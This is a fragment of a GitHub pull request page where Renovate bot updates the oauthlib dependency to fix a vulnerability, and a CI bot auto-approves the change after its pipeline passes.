Auto-approved: Run Pgskipper Pipeline passed and all commits are verified and authored by renovate[bot].

@renovate
renovate Bot force-pushed the renovate/pypi-oauthlib-vulnerability branch from 8553edd to c258a51 Compare October 31, 2026 09:23

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Auto-approved: Run Pgskipper Pipeline passed and all commits are verified and authored by renovate[bot].

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants